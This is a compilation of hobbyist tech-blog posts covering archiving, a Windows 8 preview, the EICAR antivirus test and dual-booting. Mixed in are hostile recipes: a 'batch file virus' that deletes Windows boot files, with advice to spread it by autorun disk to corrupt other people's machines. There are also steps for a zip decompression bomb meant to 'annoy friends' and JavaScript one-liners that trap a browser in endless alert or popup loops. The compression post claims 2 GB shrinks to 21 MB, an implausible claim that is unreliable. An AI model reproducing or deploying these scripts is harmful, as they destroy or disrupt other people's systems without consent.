How to compress 1 Gb data to 10 mb

Posted by Mayank Sharma
Many times our hard disk runs out of space and we have to delete some data or the other for no reason. Even I used to face the problem sometime back in history and by doing some research on the topic, I actually found a working and an awesome way to save my hard disk space.
How effective is it?
Well by this method I converted NFS UNDERGROUND 2 which is somewhat around 2 Gb to 21 Mb. And same is the case with everything important I wanted to save.
How did I do it?
You are just about to know… Read on.

I used a software named KGB Archiver.
About KGB archiver: KGB Archiver , an open source compression tool like 7zip and UHARC with an unbelievably high compression rate .It uses AES-256 encryption (one of the strongest encryption known for man) to encrypt archives . The disappointing thing with KGB Archiver is due to its high compression rate its minimum hardware requirement is high ( recommend processor with 1.5GHz clock and 256MB of RAM ) and compression and decompression process is time consuming.
Its strength: Very high compression power with very accurate results and no loss of data.
Its weeknss: Due to high compression , the time required to compress and decompress the file is high.

Click Here to Download KGB Archiver for free.
I am sure you loved this post
Enjoy.

The ZIP of Death

Posted by Mayank Sharma
This is a exploit of the compression algorithms to make a small zip that will extract into extreme amounts of data. There are more and better ways ones than this one, but i will only show how to make a simple 1k = 1m ratio.

1) Make a.txt file.

2) Open and type the null character (alt + 255).

3) Press ctrl + a then ctrl + v a couple times to make some null bytes.

4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordingly.

6) Open cmd.exe.

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat.

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.
Because of the simple construction of the file, 1gb of null bytes.....!

The zip is only 1 mb in size and can really annoy friends.
For added fun hex edit the zip and you will see a bunch of hex 5555.

Just add some more and the file will expand amazingly.

Make sure to not open the zip this after.

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

How to Test the Working of your Antivirus – EICAR Test

Posted by Mayank Sharma
Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by European Institute of Computer Antivirus Research. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.


1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.
                                                        EICAR Test code  :

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 


2. Rename the file from New Text Document.TXT to myfile.com

3. Now run the antivirus scan on this myfile.com file.

If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.

NOTE: Most antivirus will pop-out a warning message in the Step-1 itself
 
You can also place the myfile.com file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.

Batch File Virus (a simple virus for windows)

Posted by Mayank Sharma
I assume you know the basics about batch files before reading this post. Batch files are used to run a dos command without opening command prompt window. You can run many dos commands using a single batch file. This post will show you some batch files which can corrupt your Windows OS. You can also say that these batch files can work like a virus. So be careful and do not try it in your computer.
  • Autoexec.bat
  • Ntldr
  • Boot.ini
  • Win.ini
These files are very important and necessary for any Windows operating system. So if you want to corrupt Windows of any person, you have to delete these four files from the computer.
Open notepad and copy the following statements :

@echo off 
attrib -r -s -h c:\autoexec.bat 
del c:\autoexec.bat 
attrib -r -s -h c:\boot.ini 
del c:\boot.ini 
attrib -r -s -h c:\ntldr 
del c:\ntldr 
attrib -r -s -h c:\windows\win.ini 
del c:\windows\win.ini 

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe converter and make an autorun disk of it. When someone uses the disk, autorun will execute itself and command generated by the batch file will corrupt the windows.

Windows 8 Developer Preview

Posted by Mayank Sharma
Windows 8 Developer Preview Build 8102 M3 (32 & 64 Bit) ISO

Information:
Review: Microsoft demoed their upcoming Windows 8 OS during the BUILD conference on 4 Oct 2011 along with the sneak peek to developers platform and tools. Windows 8 includes plethora of new features which includes the all new immersive Metro style UI, Internet Explorer 10 (IE10), Task Manager, Quick boot, Face password, Cloud integration etc. They also made available the Windows 8 Developer Preview copy to all the attendees out there along with a Samsung Tablet so that the developer community can play with it and give feedback before the RTM hits store. And for the rest of us the very same files will be uploaded to their public servers and will be available soon.

Features:
The main feature that was shown is the extensively redesigned user interface, optimized for touchscreens as well as mice and keyboards. A new "Start screen", similar to the one in Windows Phone 7, includes live application tiles. It replaces the Start menu, being triggered by the Start button or Windows key, and is also the first screen shown on startup. The user can go to the regular desktop by choosing the "Desktop" tile or a traditional desktop-based application. The Start screen also displays the user's name and avatar. Windows 8 has a new developer platform according to Microsoft Vice President Christopher Ham, who called it "our new developer platform, which is...based on HTML5 and JavaScript. The new applications run in full-screen, but two of them can be displayed side-by-side using "Snap". Examples of new applications that were demoed include a Twitter client, a weather application, a stock-tracking application, an RSS news feeder, and a virtual piano.

The new interface is primarily designed for 16:9 screen resolutions, with 1366×768 and larger screens able to display two Windows 8 applications. 1024×768 screens can display one Windows 8 application in full-screen, and 1024×600 screens can only use the traditional Windows desktop. Mike Angiulo confirmed at Computex 2011 that Windows 8 will use OEM Activation 3.0 instead of OEM Activation 2.1 (used by Windows 7), which supposedly makes it less prone to cracks. Windows 8 features a new lock screen that shows the date and time and notifications, along with a customisable background.
Windows 8 will also include Microsoft's Hyper-V virtualization tool. Previously only offered in Windows Server, Hyper-V will now be available in client versions of Windows for the first time. The system requirements for Hyper-V are a 64-bit processor, a 64-bit version of Windows 8, and a minimum of 4 GB of RAM. Hyper-V also requires a 64-bit system that has Second Level Address Translation (SLAT), a feature that helps with memory management. Many of Intel's and AMD's recent processors support this feature, including many of Intel's i-Series processors (with Extended Page Table) and AMD's 10h family processors. On September 8, 2011, Microsoft announced that Windows 8 has short boot times, because it saves the kernel's memory to the hard disk on shutdown (similar to the existing Hibernate option) and reloads it on startup.
Cofiguration Details: All configuration same as Windows 7 (32 & 64 Bit)
Download Instructions: Click on download link to start download directly from MS own server. Direct download with resumable option.

System Requirements-
Windows Developer Preview works great on the same hardware that powers Windows Vista and Windows 7
1 gigahertz (GHz) or faster 32-bit (x86) or 64-bit (x64) processor
1 gigabyte (GB) RAM (32-bit) or 2 GB RAM (64-bit)
16 GB available hard disk space (32-bit) or 20 GB (64-bit)
DirectX 9 graphics device with WDDM 1.0 or higher driver
Taking advantage of touch input requires a screen that supports multi-touch
To run Metro style Apps, you need a screen resolution of 1024 X 768 or greater.

Javascript Hacks

Posted by Mayank Sharma
Here are some most commonly used javascript tricks and they are extremely useful sometimes.

1. Persistent Alert Box

This JavaScript is one of many where the function repeats itself within itself, so it never ends when you click "OK" on the alert box. Just type this in any browser and hit enter, replacing YOUR MESSAGE with the message you want to be displayed. 

javascript:function MakWasHere() { alert("YOUR MESSAGE"); MakWasHere(); } MakWasHere();
2. A fluttering of popup windows - Works best in Internet Explorer!

Some versions of Firefox or Chrome will just open new tabs if not configured properly (You can change this setting in their Preferences), and thus making the easiest way to stop the trick by Alt + F4'ing. In IE, (especially versions before IE7), you're running a never-ending loop of popup windows.
Popup blockers will usually not suppress this command since the user is running it directly.
Run this from the address bar, replacing the URL with any URL you want:

javascript:function MakOpenIt() { window.open("http://www.mayanksmansion.tk/");
MakOpenIt();} MakOpenIt();

How to Dual Boot Windows 7 with XP or Vista

Posted by Mayank Sharma

If you are dying to try out Windows 7 but are not ready to give up your installation of XP or Vista, let's take a look at how to dual boot Windows 7 with XP or Vista.

 

Step 0: Download  Windows 7  and Burn It to a DVD

Assuming you've already downloaded a fresh copy of Windows 7, you'll need to burn it to a DVD in order to do a fresh installation. Burn the ISO to a DVD, and move right along to step 1.

Step 1: Partition Your Hard Drive

Before you go installing Windows 7, the first thing you need to do is create a new partition on your hard drive to hold the new installation of Windows. Partitioning your hard drive will vary depending on whether you're running XP or Vista—namely because Vista has a partition tool baked in, XP does not.

Partition Your Hard Drive in XP
To partition your hard drive in Windows XP, you'll need to download some sort of third-party partitioning software. There are a lot of options available, but I prefer to stick with the GParted live CD, a free, open source boot CD that can handle all kinds of partitioning duties.
To use it, just download the GParted Live CD, burn it to a CD, then reboot your computer (booting from the disc). You'll boot right into the partitioning tool.




 Now follow this simple procedure:

  1. Resize your current OS drive to free up enough space for a Windows 7 partition (the minimum system requirements ask for 16GB).
  2. Create a new partition from the newly freed space.
  3. Apply your changes.

Shrink your Vista and create new partition

In your Vista, go to Start -> Control Panel. Click on the System and Maintenance.
Scroll down all the way to find the Administrative Tools. Create on the Create and format hard disk partitions. You should see information about  your current hard drive partitioning.
Right click on the chart diagram and select Shrink volume.


A window will pop up to ask you to enter the amount of space to shrink. This is the size that you want your new partition to have. For Win 7, you will need at least 10GB of hard disk space. Click Shrink after you have confirmed the shrinking size.


Back to the Disk Management window, you should see two partition now: one is the C drive and a new unallocated partition. Right-click on the Unallocated partition and select New Simple Volume

 
Set the volume size of the new partition and click Next.


Next, it will ask you to specify the drive letter of the new partition. To avoid confusion with the drive letter of the CD-ROM, I decided to go with G:. You can set your own drive letter though.


In the next screen, you can specify the file format and Volume label. It is recommended to change the Volume Label to something that is easy to identify, such as Windows 7.


The partitioning will now start. Once it is done, you should see something like this.


Close everything. Place in the Windows 7 DVD and restart the computer.

Step 2: Install Windows 7

Now that you've done all the heavy lifting, it's time for the easy part: Installing Windows 7 on your new partition. So insert your Windows 7 disc and reboot your computer.

Once the DVD boots up it's a simple matter of following along with the fairly simple installation wizard. When you're choosing installation type, be sure to select Custom (advanced) and choose the partition you set up above. (Be careful here. Choosing the wrong partition could mean wiping your other Windows installation altogether, so make sure you pick the new partition you just created. 

After you select the partition, go grab yourself a drink and let the installer do its work. Windows will run through some installation bits, restart a few times in the process. Eventually you'll be prompted to set up your account, enter your license key, and set up Windows. Keep your eyes open for fun new Windows 7 features, like your new homegroup (and the accompanying password). When it's finished, you're up and rolling with your new Windows 7 installation.

Congratulations! You should now have a new entry for Windows 7 on your boot screen when you first start up your computer. You've now got all the tools necessary to dual-boot Windows 7 and XP or Vista—or even to triple-boot Windows 7, Vista, and XP.



This isn't the only way to set up a multi-boot system by any means, but it's how I pulled it off. If you've got a method of your own that you prefer, let's hear it in the comments.

Enjoy...
